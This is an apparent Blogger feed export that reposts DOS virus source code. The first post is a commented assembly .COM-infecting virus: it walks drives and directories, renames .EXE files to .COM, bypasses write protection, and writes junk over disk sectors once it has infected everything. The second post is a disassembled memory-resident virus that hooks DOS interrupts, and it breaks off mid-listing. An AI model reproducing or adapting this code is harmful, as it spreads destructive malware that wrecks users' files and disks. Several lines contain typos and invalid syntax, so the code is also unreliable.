&lt;br /&gt;;   This is a demonstration program for computer&lt;br /&gt;;   viruses. It has the ability to replace itself.&lt;br /&gt;;   and thereby modify other programs. Enjoy.&lt;br /&gt;;**************************************************&lt;br /&gt;&lt;br /&gt;Code   Segment&lt;br /&gt;      Assume  CS:Code&lt;br /&gt;progr  equ 100h&lt;br /&gt;      ORG progr&lt;br /&gt;&lt;br /&gt;;**************************************************&lt;br /&gt;;   The three NOP's serve as the marker byte of the&lt;br /&gt;;   virus which allow it to identify a virus.&lt;br /&gt;;**************************************************&lt;br /&gt;&lt;br /&gt;MAIN:&lt;br /&gt;      nop&lt;br /&gt;      nop&lt;br /&gt;      nop&lt;br /&gt;&lt;br /&gt;;**************************************************&lt;br /&gt;;   Initialize the pointers&lt;br /&gt;;**************************************************&lt;br /&gt;&lt;br /&gt;      mov ax,00&lt;br /&gt;      mov es:[pointer],ax&lt;br /&gt;      mov es:[counter],ax&lt;br /&gt;      mov es:[disks],al&lt;br /&gt;&lt;br /&gt;;**************************************************&lt;br /&gt;;   Get the selected drive&lt;br /&gt;;**************************************************&lt;br /&gt;&lt;br /&gt;      mov ah,19h             ;drive?&lt;br /&gt;      int 21h  &lt;br /&gt;&lt;br /&gt;;**************************************************&lt;br /&gt;;   Get the current path on the current drive&lt;br /&gt;;**************************************************&lt;br /&gt;&lt;br /&gt;      mov cs:drive,al        ;save drive&lt;br /&gt;      mov ah,47h             ;dir?&lt;br /&gt;      mov dh,0             &lt;br /&gt;      add al,1&lt;br /&gt;      mov dl,al              ;in actual drive&lt;br /&gt;      lea si,cs:old_path     ;&lt;br /&gt;      int 21h&lt;br /&gt;&lt;br /&gt;;**************************************************&lt;br /&gt;;   Get the number of drives present. If only one &lt;br /&gt;;   is present, the pointer for the search order&lt;br /&gt;;   will be set to serach order + 6&lt;br /&gt;;**************************************************&lt;br /&gt;&lt;br /&gt;      mov as,0eh             ;how many disks&lt;br /&gt;      mov dl,0               ;&lt;br /&gt;      int 21h&lt;br /&gt;&lt;br /&gt;      mov al,01&lt;br /&gt;      cmp al,01              ;one drive&lt;br /&gt;      jnz hups3&lt;br /&gt;      mov al,06&lt;br /&gt;    &lt;br /&gt;hups3: mov ah,0&lt;br /&gt;      lea bx,search_order&lt;br /&gt;      add bx,ax&lt;br /&gt;      add bx,0001h&lt;br /&gt;      mov cs:pointer,bx&lt;br /&gt;      clc&lt;br /&gt;&lt;br /&gt;;**************************************************&lt;br /&gt;;   Carry is set, if no more .COM's are found.    &lt;br /&gt;;   Then, to avoid unnecessary work, .EXE files will&lt;br /&gt;;   be renamed to .COM files and infected.&lt;br /&gt;;   This causes the error message "Program to large&lt;br /&gt;;   to fit memory" when starting larger infected&lt;br /&gt;;   EXE programs.&lt;br /&gt;;*************************************************&lt;br /&gt;&lt;br /&gt;change_disk:&lt;br /&gt;     jnc no_name_change&lt;br /&gt;     mov ah,17h              ;change .EXE to .COM&lt;br /&gt;     lea dx,cs:maske_exe&lt;br /&gt;     int 21h&lt;br /&gt;     cmp al,0ffh&lt;br /&gt;     jnz no_name_change      ;.EXE found?&lt;br /&gt;&lt;br /&gt;;****************************************************&lt;br /&gt;;   If neither  .COM nor .EXE is found then sectors&lt;br /&gt;;   will be overwritten depending on the system time&lt;br /&gt;;   in milliseconds. This is the time of the complete&lt;br /&gt;;   "infection" of a storage medium. The virus can&lt;br /&gt;;   find nothing more to infect and starts its destruction&lt;br /&gt;;***************************************************** &lt;br /&gt;&lt;br /&gt;     mov ah,2ch              ; read system clock&lt;br /&gt;     int 21h&lt;br /&gt;     mov bx,cs:pointer&lt;br /&gt;     mov al,cs:[bx]&lt;br /&gt;     mov bx,dx&lt;br /&gt;     mov cx,2&lt;br /&gt;     mov dh,0&lt;br /&gt;     int 26h                 ; write crap on disk&lt;br /&gt;&lt;br /&gt;;******************************************************&lt;br /&gt;;   Check if the end of the search order table has been&lt;br /&gt;;   reached . If so, end.&lt;br /&gt;;******************************************************&lt;br /&gt;&lt;br /&gt;no_name_change:&lt;br /&gt;     mov bx,cs:pointer&lt;br /&gt;     dec bx&lt;br /&gt;     mov cs:pointer,bx&lt;br /&gt;     mov dl,cs:[bx]&lt;br /&gt;     cmp dl,0ffh&lt;br /&gt;     jnz hups2&lt;br /&gt;     jmp hops&lt;br /&gt;   &lt;br /&gt;;****************************************************&lt;br /&gt;;   Get new drive from the search order table and&lt;br /&gt;;   select it .&lt;br /&gt;;***************************************************&lt;br /&gt;&lt;br /&gt;hups2:&lt;br /&gt;     mov ah,0eh&lt;br /&gt;     int 21h                    ;change disk&lt;br /&gt;&lt;br /&gt;;***************************************************&lt;br /&gt;;   Start in the root directory&lt;br /&gt;;***************************************************&lt;br /&gt;&lt;br /&gt;     mov ah,3bh                 ;change path&lt;br /&gt;     lea dx,path&lt;br /&gt;     int 21h&lt;br /&gt;     jmp find_first_file&lt;br /&gt;&lt;br /&gt;;**************************************************&lt;br /&gt;;   Starting from the root, search for the first&lt;br /&gt;;   subdir. FIrst convert all .EXE files to .COM&lt;br /&gt;;   in the old directory&lt;br /&gt;;**************************************************&lt;br /&gt;&lt;br /&gt;find_first_subdir:&lt;br /&gt;     mov ah,17h                 ;change .exe to .com&lt;br /&gt;     lea dx,cs:maske_exe&lt;br /&gt;     int 21h&lt;br /&gt;     mov ah,3bh                 ;use root directory&lt;br /&gt;     lea dx,path&lt;br /&gt;     int 21h&lt;br /&gt;     mov ah,04eh                ;search for first subdirectory&lt;br /&gt;     mov cx,00010001b           ;dir mask&lt;br /&gt;     lea dx,maske_dir           ;&lt;br /&gt;     int 21h                    ;&lt;br /&gt;     jc change_disk&lt;br /&gt;     mov bx,CS:counter&lt;br /&gt;     INC,BX&lt;br /&gt;     DEC bx&lt;br /&gt;     jz  use_next_subdir&lt;br /&gt;&lt;br /&gt;;*************************************************&lt;br /&gt;;   Search for the next subdirectory. If no more&lt;br /&gt;;   directories are found, the drive will be changed.&lt;br /&gt;;*************************************************&lt;br /&gt;&lt;br /&gt;find_next_subdir:&lt;br /&gt;     mov ah,4fh               ; search for next subdir&lt;br /&gt;     int 21h&lt;br /&gt;     jc change_disk&lt;br /&gt;     dec bx&lt;br /&gt;     jnz find_next_subdir&lt;br /&gt;&lt;br /&gt;;*************************************************&lt;br /&gt;;   Select found directory.&lt;br /&gt;;**************************************************&lt;br /&gt;&lt;br /&gt;use_next_subdir:    &lt;br /&gt;     mov ah,2fh               ;get dta address&lt;br /&gt;     int 21h&lt;br /&gt;     add bx,1ch&lt;br /&gt;     mov es:[bx],'\`          ;address of name in dta&lt;br /&gt;     inc bx&lt;br /&gt;     push ds&lt;br /&gt;     mov ax,es&lt;br /&gt;     mov ds,ax&lt;br /&gt;     mov dx,bx&lt;br /&gt;     mov ah,3bh               ;change path&lt;br /&gt;     int 21h&lt;br /&gt;     pop ds&lt;br /&gt;     mov bx,cs:counter&lt;br /&gt;     inc bx&lt;br /&gt;     mov CS:counter,bx&lt;br /&gt;&lt;br /&gt;;**************************************************&lt;br /&gt;;    Find first .COM file in the current directory.&lt;br /&gt;;    If there are none, search the next directory.&lt;br /&gt;;**************************************************&lt;br /&gt;&lt;br /&gt;find_first_file:&lt;br /&gt;     mov ah,04eh              ;Search for first&lt;br /&gt;     mov cx,00000001b         ;mask&lt;br /&gt;     lea dx,maske_com         ;&lt;br /&gt;     int 21h                  ;&lt;br /&gt;     jc find_first_subdir&lt;br /&gt;     jmp check_if_ill&lt;br /&gt;&lt;br /&gt;;**************************************************&lt;br /&gt;;   If program is ill(infected) then search for&lt;br /&gt;;   another other.&lt;br /&gt;;**************************************************&lt;br /&gt;&lt;br /&gt;find_next_file:&lt;br /&gt;     mov ah,4fh               ;search for next&lt;br /&gt;     int 21h&lt;br /&gt;     jc find_first_subdir&lt;br /&gt;&lt;br /&gt;;*************************************************&lt;br /&gt;;   Check is already infected by virus.&lt;br /&gt;;**************************************************&lt;br /&gt;&lt;br /&gt;check_if_ill:&lt;br /&gt;     mov ah,3dh              ;open channel&lt;br /&gt;     mov al,02h              ;read/write&lt;br /&gt;     mov dx,9eh              ;address of name in dta&lt;br /&gt;     int 21&lt;br /&gt;     mov bx,ax               ;save channel&lt;br /&gt;     mov ah,3fh              ; read file&lt;br /&gt;     mov ch,buflen           ;&lt;br /&gt;     mov dx,buffer           ;write in buffer&lt;br /&gt;     int 21h&lt;br /&gt;     mov ah,3eh              ;close file&lt;br /&gt;     int 21h&lt;br /&gt;&lt;br /&gt;;***************************************************&lt;br /&gt;;   This routine will search the three NOP's(no&lt;br /&gt;;   operation).If present there is already an infection.&lt;br /&gt;;   We must then continue the search&lt;br /&gt;;****************************************************&lt;br /&gt;&lt;br /&gt;    mov bx,cs:[buffer]&lt;br /&gt;    cmp bx,9090h&lt;br /&gt;    jz find_next_file&lt;br /&gt;&lt;br /&gt;;***************************************************&lt;br /&gt;;   This routine will BY PASS MS-DOS WRITE PROTECTION&lt;br /&gt;;   if present. Very important !&lt;br /&gt;;***************************************************&lt;br /&gt;&lt;br /&gt;    mov ah,43h               ;write enable&lt;br /&gt;    mov al,0        &lt;br /&gt;    mov dx,9eh               ;address of name in dta&lt;br /&gt;    int 21h&lt;br /&gt;    mov ah,43h&lt;br /&gt;    mov al,01h&lt;br /&gt;    and cx,11111110b&lt;br /&gt;    int 21h&lt;br /&gt;&lt;br /&gt;;****************************************************&lt;br /&gt;;   Open file for read/write access.&lt;br /&gt;;*****************************************************&lt;br /&gt;&lt;br /&gt;    mov ah,3dh               ;open channel&lt;br /&gt;    mov al,02h               ;read/write&lt;br /&gt;    mov dx,9eh               ;address of name in dta&lt;br /&gt;    int 21h&lt;br /&gt;&lt;br /&gt;;****************************************************&lt;br /&gt;;   Read date entry of program and save for future&lt;br /&gt;;   use.&lt;br /&gt;;****************************************************&lt;br /&gt;&lt;br /&gt;   mov bx,ax                ;channel&lt;br /&gt;   mov ah,57h               ;get date&lt;br /&gt;   mov al.0&lt;br /&gt;   int 21h&lt;br /&gt;   push cx                  ;save date&lt;br /&gt;   push dx&lt;br /&gt;&lt;br /&gt;;****************************************************&lt;br /&gt;;   The jump located at address 0100h of the program&lt;br /&gt;;   will be saved for further use.&lt;br /&gt;;*****************************************************&lt;br /&gt;&lt;br /&gt;   mov dx,cs:[conta]        ;save old jmp&lt;br /&gt;   mov cs:[jmpbuf],dx&lt;br /&gt;   mov dx,cs:[buffer+1]     ;save new jump&lt;br /&gt;   lea cx,cont-100h&lt;br /&gt;   sub dx,cx&lt;br /&gt;   mov cs:[conta],dx&lt;br /&gt;&lt;br /&gt;;*****************************************************&lt;br /&gt;;   The virus copies itself to the start of the file.&lt;br /&gt;;*****************************************************&lt;br /&gt;&lt;br /&gt;   mov ah,57h               ;write date&lt;br /&gt;   mov al,1       &lt;br /&gt;   pop dx&lt;br /&gt;   pop cx                   ;restore date&lt;br /&gt;   int 21h&lt;br /&gt;&lt;br /&gt;;*****************************************************&lt;br /&gt;;   Close the file.&lt;br /&gt;;*****************************************************&lt;br /&gt;&lt;br /&gt;   mov ah,3eh               ;close file&lt;br /&gt;   int 21h&lt;br /&gt;&lt;br /&gt;;*****************************************************&lt;br /&gt;;   Restore the old jump address. The virus saves at&lt;br /&gt;;   address "conta" the jump which was at the start of&lt;br /&gt;;   the host program.&lt;br /&gt;;   This is done to preserve the executability of the&lt;br /&gt;;   host program as much as possible.&lt;br /&gt;;   After saving it still works with the jump address&lt;br /&gt;;   contained in the virus. The jump address in the&lt;br /&gt;;   virus differs from the jump address in memory.&lt;br /&gt;;****************************************************&lt;br /&gt;&lt;br /&gt;   mov dx,cs:[jmpbuf]       ;restore old jump&lt;br /&gt;   mov cs:[conta],dx&lt;br /&gt;hops:  nop&lt;br /&gt;      call use_old&lt;br /&gt;&lt;br /&gt;;****************************************************&lt;br /&gt;;   Continue with the host program.&lt;br /&gt;;****************************************************&lt;br /&gt; &lt;br /&gt;cont    db 0e9h                ;make jump&lt;br /&gt;conta   dw 0&lt;br /&gt;       mov ah,00&lt;br /&gt;       int 21h  &lt;br /&gt;&lt;br /&gt;;***************************************************&lt;br /&gt;;   Reactivate the selected drive at the start of&lt;br /&gt;;   the program.&lt;br /&gt;;***************************************************&lt;br /&gt;&lt;br /&gt;use_old:&lt;br /&gt;       mov ah,0eh             ;use old drive&lt;br /&gt;       mov dl,cs:drive&lt;br /&gt;       int 21h&lt;br /&gt;&lt;br /&gt;;***************************************************&lt;br /&gt;;    Reactivate the selected path at the start of&lt;br /&gt;;    the program.&lt;br /&gt;;***************************************************&lt;br /&gt;&lt;br /&gt;       mov ah,3bh             ;use old drive&lt;br /&gt;       lea dx,old_path-1      ;get old path and backslash&lt;br /&gt;       int 21h&lt;br /&gt;       ret&lt;br /&gt;&lt;br /&gt;search_order db 0ffh,1,0,2,3,0ffh,00,offh&lt;br /&gt;pointer      dw   0000           ;pointer f. search order&lt;br /&gt;counter      dw   0000           ;counter f. nth. search&lt;br /&gt;disks        db    0             ;number of disks&lt;br /&gt;&lt;br /&gt;maske_com    db "*.com",00       ;search for com files&lt;br /&gt;maske_dir    db "*",00           ;search for dir's&lt;br /&gt;maske_exe    db offh,0,0,0,0,0,00111111b&lt;br /&gt;            db 0,"????????exe",0,0,0,0&lt;br /&gt;            db 0,"????????com",0&lt;br /&gt;maske_all    db offh,0,0,0,0,0,00111111b&lt;br /&gt;            db 0,"???????????",0,0,0,0&lt;br /&gt;            db 0,"????????com",0&lt;br /&gt;&lt;br /&gt;buffer equ 0e00h                 ;a safe place&lt;br /&gt;&lt;br /&gt;buflen equ 230h                  ;lenght of virus!!!!&lt;br /&gt;                                ;carefull&lt;br /&gt;                                ;if changing!!!!&lt;br /&gt;jmpbuf equ buffer+buflen         ;a safe place for jmp&lt;br /&gt;path  db "\",0                   ;first place&lt;br /&gt;drive db 0                       ;actual drive&lt;br /&gt;back_slash db "\"&lt;br /&gt;old_path db 32 dup (?)           ;old path&lt;br /&gt;&lt;br /&gt;code ends&lt;br /&gt;&lt;br /&gt;end main&lt;br /&gt;&lt;br /&gt;;[ END OF THIS VIRUS PROGRAM ]&lt;br /&gt;&lt;br /&gt;Downloaded From P-80 International Information Systems 304-744-2253&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34599328-115856151443590981?l=missendare.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://missendare.blogspot.com/feeds/115856151443590981/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34599328&amp;postID=115856151443590981&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856151443590981'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856151443590981'/><link rel='alternate' type='text/html' href='http://missendare.blogspot.com/2006/09/virus-in-assembly-language.html' title='Virus in Assembly Language'/><author><name>Miss EndarE</name><uri>http://www.blogger.com/profile/14074827578197836263</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34599328.post-115856119334846567</id><published>2006-09-18T13:28:00.000+07:00</published><updated>2006-09-18T13:35:16.526+07:00</updated><title type='text'>assembly virus script compiler with exe</title><content type='html'>&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ&lt;br /&gt;;ÛÛ									 ÛÛ&lt;br /&gt;;ÛÛ				VIR_					 ÛÛ&lt;br /&gt;;ÛÛ									 ÛÛ&lt;br /&gt;;ÛÛ	 Created:  ??-??-??						 ÛÛ&lt;br /&gt;;ÛÛ	 Version:							 ÛÛ&lt;br /&gt;;ÛÛ	 Code type: zero start						 ÛÛ&lt;br /&gt;;ÛÛ	 Passes:    9	       Analysis Options on: A			 ÛÛ&lt;br /&gt;;ÛÛ									 ÛÛ&lt;br /&gt;;ÛÛ	 Disassembled by: Sir John -- 11.MAR.1991			 ÛÛ&lt;br /&gt;;ÛÛ									 ÛÛ&lt;br /&gt;;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ&lt;br /&gt;&lt;br /&gt;PSP_0A		equ	0Ah			; (0000:000A=0)&lt;br /&gt;MCB_0000	equ	0			; (7DBC:0000=E9)&lt;br /&gt;MCB_0001	equ	1			; (7DBC:0001=275h)&lt;br /&gt;MCB_0003	equ	3			; (7DBC:0003=1503h)&lt;br /&gt;all_len 	equ	1600h&lt;br /&gt;jmp_len 	equ	3&lt;br /&gt;sav_file	equ	data_23 - virus_entry + jmp_len&lt;br /&gt;&lt;br /&gt;seg_a		segment byte public&lt;br /&gt;		assume	cs:seg_a, ds:seg_a&lt;br /&gt;&lt;br /&gt;		org	0&lt;br /&gt;&lt;br /&gt;		db	 00h&lt;br /&gt;&lt;br /&gt;		jmp	vir_1&lt;br /&gt;data_23 	dw	20CDh		; old file&lt;br /&gt;data_24 	dw	0		; (first 6 bytes)&lt;br /&gt;data_25 	dw	0		; - check sum&lt;br /&gt;		db	0,0,0,0,0,0,0,0&lt;br /&gt;data_27 	dw	0		; + 0eh = original SS:&lt;br /&gt;data_28 	dw	0		; + 10h = original SP&lt;br /&gt;		dw	0&lt;br /&gt;data_29 	dd	0		; + 14h = .EXE file entry point&lt;br /&gt;		db	0,0,0,0&lt;br /&gt;data_31 	db	0		; flag : 1-EXE, 0-COM&lt;br /&gt;data_32 	db	0FEh&lt;br /&gt;		db	 3Ah&lt;br /&gt;debug:		push	bp		;address is 0023&lt;br /&gt;		mov	bp,sp&lt;br /&gt;		push	ax&lt;br /&gt;		cmp	[bp+4],0C000h&lt;br /&gt;		jae	loc_1_1 	; segment &gt; C000&lt;br /&gt;		mov	ax,cs:data_68&lt;br /&gt;		cmp	[bp+4],ax&lt;br /&gt;		jna	loc_1_1&lt;br /&gt;loc_1:		pop	ax&lt;br /&gt;		pop	bp&lt;br /&gt;		iret				; Interrupt return&lt;br /&gt;loc_1_1:	cmp	byte ptr cs:data_73,1	; (CS:1250=0)&lt;br /&gt;		je	loc_3			; Jump if equal&lt;br /&gt;		mov	ax,[bp+4]&lt;br /&gt;		mov	word ptr cs:old_INT+2,ax  ; (CS:122F=70h)&lt;br /&gt;		mov	ax,[bp+2]&lt;br /&gt;		mov	word ptr cs:old_INT,ax	  ; (CS:122D=0)&lt;br /&gt;		jc	loc_2			; Jump if carry Set&lt;br /&gt;		pop	ax&lt;br /&gt;		pop	bp&lt;br /&gt;		mov	ss,cs:data_92		; (CS:12DD=151Ch)&lt;br /&gt;		mov	sp,cs:data_93		; (CS:12DF=0)&lt;br /&gt;		mov	al,cs:data_97		; (CS:12E5=0)&lt;br /&gt;		out	21h,al			; port 21h, 8259-1 int comands&lt;br /&gt;		jmp	loc_79			; (0D40)&lt;br /&gt;loc_2:&lt;br /&gt;		and	word ptr [bp+6],0FEFFh&lt;br /&gt;		mov	al,cs:data_97		; (CS:12E5=0)&lt;br /&gt;		out	21h,al			; port 21h, 8259-1 int comands&lt;br /&gt;		jmp	short loc_1		; (0037)&lt;br /&gt;loc_3:&lt;br /&gt;		dec	cs:data_74		; (CS:1251=0)&lt;br /&gt;		jnz	loc_1			; Jump if not zero&lt;br /&gt;		and	word ptr [bp+6],0FEFFh&lt;br /&gt;		call	sub_21			; Save REGS in vir's stack&lt;br /&gt;		call	sub_18			; (0DBA)&lt;br /&gt;		lds	dx,cs:old_INT_1 	; (CS:1231=0) Load 32 bit ptr&lt;br /&gt;		mov	al,1&lt;br /&gt;		call	sub_27			; Set INT 01 vector&lt;br /&gt;		call	sub_20			; Restore regs from vir's stack&lt;br /&gt;		jmp	short loc_2		; (0067)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;			       SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_1		proc	near&lt;br /&gt;		push	ds&lt;br /&gt;		push	si&lt;br /&gt;		xor	si,si			; Zero register&lt;br /&gt;		mov	ds,si&lt;br /&gt;		xor	ah,ah			; Zero register&lt;br /&gt;		mov	si,ax&lt;br /&gt;		shl	si,1			; Shift w/zeros fill&lt;br /&gt;		shl	si,1			; Shift w/zeros fill&lt;br /&gt;		mov	bx,[si]&lt;br /&gt;		mov	es,[si+2]&lt;br /&gt;		pop	si&lt;br /&gt;		pop	ds&lt;br /&gt;		retn&lt;br /&gt;sub_1		endp&lt;br /&gt;&lt;br /&gt;vir_1:		mov	cs:data_113,1600h	; (CS:135B=0)&lt;br /&gt;		mov	cs:old_AX,ax		; (CS:12E3=0)&lt;br /&gt;		mov	ah,30h&lt;br /&gt;		int	21h			; DOS Services	ah=function 30h&lt;br /&gt;						;  get DOS version number ax&lt;br /&gt;		mov	cs:dos_ver,al		; (CS:12EE=0)&lt;br /&gt;		mov	cs:old_DS,ds		; (CS:1245=7DBDh)&lt;br /&gt;		mov	ah,52h&lt;br /&gt;		int	21h			; DOS Services	ah=function 52h&lt;br /&gt;						;  get DOS data table ptr es:bx&lt;br /&gt;		mov	ax,es:[bx-2]&lt;br /&gt;		mov	cs:data_68,ax		; (CS:1247=0)&lt;br /&gt;		mov	es,ax&lt;br /&gt;		mov	ax,es:[1]		; (5200:0001=0FFFFh)&lt;br /&gt;		mov	cs:data_69,ax		; (CS:1249=0)&lt;br /&gt;		push	cs&lt;br /&gt;		pop	ds&lt;br /&gt;		mov	al,1&lt;br /&gt;		call	sub_1			; Get INT 01 vector&lt;br /&gt;		mov	word ptr old_INT_1,bx	; (CS:1231=0)&lt;br /&gt;		mov	word ptr old_INT_1+2,es ; (CS:1233=70h)&lt;br /&gt;		mov	al,21h&lt;br /&gt;		call	sub_1			; Get INT 21 vector&lt;br /&gt;		mov	word ptr old_INT,bx	; (CS:122D=0)&lt;br /&gt;		mov	word ptr old_INT+2,es	; (CS:122F=70h)&lt;br /&gt;		mov	byte ptr data_73,0	; (CS:1250=0)&lt;br /&gt;		mov	dx,offset debug&lt;br /&gt;		mov	al,1&lt;br /&gt;		call	sub_27			; Set INT 01 vector&lt;br /&gt;		pushf				; Push flags&lt;br /&gt;		pop	ax&lt;br /&gt;		or	ax,100h&lt;br /&gt;		push	ax&lt;br /&gt;		in	al,21h			; port 21h, 8259-1 int IMR&lt;br /&gt;		mov	data_97,al		; (CS:12E5)&lt;br /&gt;		mov	al,0FFh&lt;br /&gt;		out	21h,al			; port 21h, 8259-1 int comands&lt;br /&gt;		popf				; Pop flags&lt;br /&gt;		mov	ah,52h&lt;br /&gt;		pushf				; Push flags&lt;br /&gt;		call	dword ptr old_INT	; (CS:122D)&lt;br /&gt;		pushf				; Push flags&lt;br /&gt;		pop	ax&lt;br /&gt;		and	ax,0FEFFh&lt;br /&gt;		push	ax&lt;br /&gt;		popf				; Pop flags&lt;br /&gt;		mov	al,data_97		; (CS:12E5=0)&lt;br /&gt;		out	21h,al			; port 21h, 8259-1 int comands&lt;br /&gt;		push	ds&lt;br /&gt;		lds	dx,old_INT_1		; (CS:1231=0) Load 32 bit ptr&lt;br /&gt;		mov	al,1&lt;br /&gt;		call	sub_27			; Set INT 01 vector&lt;br /&gt;		pop	ds&lt;br /&gt;		les	di,old_INT		; (CS:122D=0) Load 32 bit ptr&lt;br /&gt;		mov	word ptr ptr_INT_21,di	 ; (CS:1235=0)&lt;br /&gt;		mov	word ptr ptr_INT_21+2,es ; (CS:1237=70h)&lt;br /&gt;		mov	byte ptr data_70,0EAh	; (CS:124B=0)&lt;br /&gt;		mov	data_71,offset INT_21	; (CS:124C=0) (02CC)&lt;br /&gt;		mov	data_72,cs		; (CS:124E=7DBDh)&lt;br /&gt;		call	sub_18			; (0DBA)&lt;br /&gt;		mov	ax,4B00h&lt;br /&gt;		mov	data_95,ah		; (CS:12E2=0)&lt;br /&gt;		mov	dx,offset data_32	; (CS:0021=0FEh)&lt;br /&gt;		push	word ptr data_31	; (CS:0020=0FE00h)&lt;br /&gt;		int	21h			; DOS Services	ah=function 4Bh&lt;br /&gt;						;  run progm @ds:dx, parm @es:bx&lt;br /&gt;		pop	word ptr data_31	; (CS:0020=0FE00h)&lt;br /&gt;		add	word ptr es:[di-4],9&lt;br /&gt;		nop&lt;br /&gt;		mov	es,old_DS		; (CS:1245)&lt;br /&gt;		mov	ds,old_DS		; (CS:1245)&lt;br /&gt;		sub	word ptr ds:[2],161h	; decrement mem size&lt;br /&gt;		mov	bp,word ptr ds:[2]	; mem size&lt;br /&gt;		mov	dx,ds&lt;br /&gt;		sub	bp,dx&lt;br /&gt;		mov	ah,4Ah&lt;br /&gt;		mov	bx,0FFFFh&lt;br /&gt;		int	21h			; DOS Services	ah=function 4Ah&lt;br /&gt;						;  change mem allocation, bx=siz&lt;br /&gt;		mov	ah,4Ah&lt;br /&gt;		int	21h			; DOS Services	ah=function 4Ah&lt;br /&gt;						;  change mem allocation, bx=siz&lt;br /&gt;		dec	dx&lt;br /&gt;		mov	ds,dx&lt;br /&gt;		cmp	byte ptr ds:[MCB_0000],5Ah ; (7DBC:0000=0E9h) 'Z'&lt;br /&gt;		je	loc_4			; Jump if equal&lt;br /&gt;		dec	cs:data_95		; (CS:12E2=0)&lt;br /&gt;loc_4:&lt;br /&gt;		cmp	byte ptr cs:data_95,0	; (CS:12E2=0)&lt;br /&gt;		je	loc_5			; Jump if equal&lt;br /&gt;		mov	byte ptr ds:[MCB_0000],4Dh ; (7DBC:0000=0E9h) 'M'&lt;br /&gt;loc_5:&lt;br /&gt;		mov	ax,ds:MCB_0003		; (7DBC:0003=1503h)&lt;br /&gt;		mov	bx,ax&lt;br /&gt;		sub	ax,161h&lt;br /&gt;		add	dx,ax&lt;br /&gt;		mov	ds:MCB_0003,ax		; (7DBC:0003=1503h)&lt;br /&gt;		inc	dx&lt;br /&gt;		mov	es,dx&lt;br /&gt;		mov	byte ptr es:MCB_0000,5Ah	; (915F:0000=0) 'Z'&lt;br /&gt;		push	cs:data_69			; (CS:1249=0)&lt;br /&gt;		pop	word ptr es:MCB_0001		; (915F:0001=0)&lt;br /&gt;		mov	word ptr es:MCB_0003,160h	; (915F:0003=0)&lt;br /&gt;		inc	dx&lt;br /&gt;		mov	es,dx&lt;br /&gt;		push	cs&lt;br /&gt;		pop	ds&lt;br /&gt;		mov	cx,all_len/2&lt;br /&gt;		mov	si,all_len-2		; (CS:15FE=0)&lt;br /&gt;		mov	di,si&lt;br /&gt;		std				; Set direction flag&lt;br /&gt;		rep	movsw			; Rep when cx &gt;0 Mov [si] to es:[di]&lt;br /&gt;		cld				; Clear direction&lt;br /&gt;		push	es&lt;br /&gt;		mov	ax,offset loc_1EE&lt;br /&gt;		push	ax&lt;br /&gt;		mov	es,cs:old_DS		; (CS:1245=7DBDh)&lt;br /&gt;		mov	ah,4Ah			; 'J'&lt;br /&gt;		mov	bx,bp&lt;br /&gt;		int	21h			; DOS Services	ah=function 4Ah&lt;br /&gt;						;  change mem allocation, bx=siz&lt;br /&gt;		retf				; Return far - jump to loc_1EE&lt;br /&gt;loc_1EE:	call	sub_18			; (0DBA)&lt;br /&gt;		mov	cs:data_72,cs		; (CS:124E=7DBDh)&lt;br /&gt;		call	sub_18			; (0DBA)&lt;br /&gt;		push	cs&lt;br /&gt;		pop	ds&lt;br /&gt;		mov	byte ptr data_76,14h	; (CS:12A2=0)&lt;br /&gt;		push	cs&lt;br /&gt;		pop	es&lt;br /&gt;		mov	di,offset data_75	; (CS:1252=0)&lt;br /&gt;		mov	cx,14h&lt;br /&gt;		xor	ax,ax			; Zero register&lt;br /&gt;		rep	stosw			; Rep when cx &gt;0 Store ax to es:[di]&lt;br /&gt;		mov	data_103,al		; (CS:12EF=0)&lt;br /&gt;		mov	ax,old_DS		; (CS:1245=7DBDh)&lt;br /&gt;		mov	es,ax&lt;br /&gt;		lds	dx,es:[0Ah]		; from offset 000A in PSP Load 32 bit ptr&lt;br /&gt;		mov	ds,ax&lt;br /&gt;		add	ax,10h&lt;br /&gt;		add	word ptr cs:data_29+2,ax ; (CS:001A=1ED5h)&lt;br /&gt;		cmp	byte ptr cs:data_31,0	 ; (CS:0020=0)&lt;br /&gt;		jne	loc_6			; Jump if not equal&lt;br /&gt;; restore infected .COM file and run it&lt;br /&gt;		sti				; Enable interrupts&lt;br /&gt;		mov	ax,cs:data_23		; (CS:0004=20CDh)&lt;br /&gt;		mov	word ptr ds:[100h],ax	; (CS:0100=0E9Ah)&lt;br /&gt;		mov	ax,cs:data_24		; (CS:0006=340h)&lt;br /&gt;		mov	word ptr ds:[102h],ax	; (CS:0102=589Ch)&lt;br /&gt;		mov	ax,cs:data_25		; (CS:0008=50C6h)&lt;br /&gt;		mov	word ptr ds:[104h],ax	; 